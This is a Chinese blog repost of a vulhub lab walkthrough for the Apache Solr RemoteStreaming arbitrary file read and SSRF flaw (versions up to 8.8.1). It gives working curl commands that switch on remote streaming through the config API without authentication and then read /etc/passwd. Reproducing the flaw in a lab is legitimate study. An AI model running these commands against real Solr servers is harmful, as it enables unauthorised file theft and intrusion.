我是靠谱客的博主 紧张指甲油,最近开发中收集的这篇文章主要介绍vulhub漏洞—Apache_Solr_RemoteStreaming文件读取与SSRF漏洞漏洞描述影响范围复现过程,觉得挺不错的,现在分享给大家,希望可以做个参考。
概述
漏洞描述
Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。
影响范围
Apache Solr <= 8.8.1
复现过程
漏洞环境
vulhub搭建:https://github.com/vulhub/vulhub/blob/master/solr/Remote-Streaming-Fileread/README.zh-cn.md
执行如下命令启动solr 8.8.1:
docker-compose up -d
环境启动后,访问http://your-ip:8983
即可查看Apache Solr后台。
复现过程
访问,获取core
http://ip:8983/solr/admin/cores?indexInfo=false&wt=json
我们这里core为demo,命令行发送
发送如下数据包,修改数据库demo的配置,开启RemoteStreaming:
curl -i -s -k -X $'POST' -H $'Content-Type: application/json'
--data-binary $'{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
$'http://ip:8983/solr/demo/config'
读取任意文件
curl -i -s -k 'http://ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
最后
以上就是紧张指甲油为你收集整理的vulhub漏洞—Apache_Solr_RemoteStreaming文件读取与SSRF漏洞漏洞描述影响范围复现过程的全部内容,希望文章能够帮你解决vulhub漏洞—Apache_Solr_RemoteStreaming文件读取与SSRF漏洞漏洞描述影响范围复现过程所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复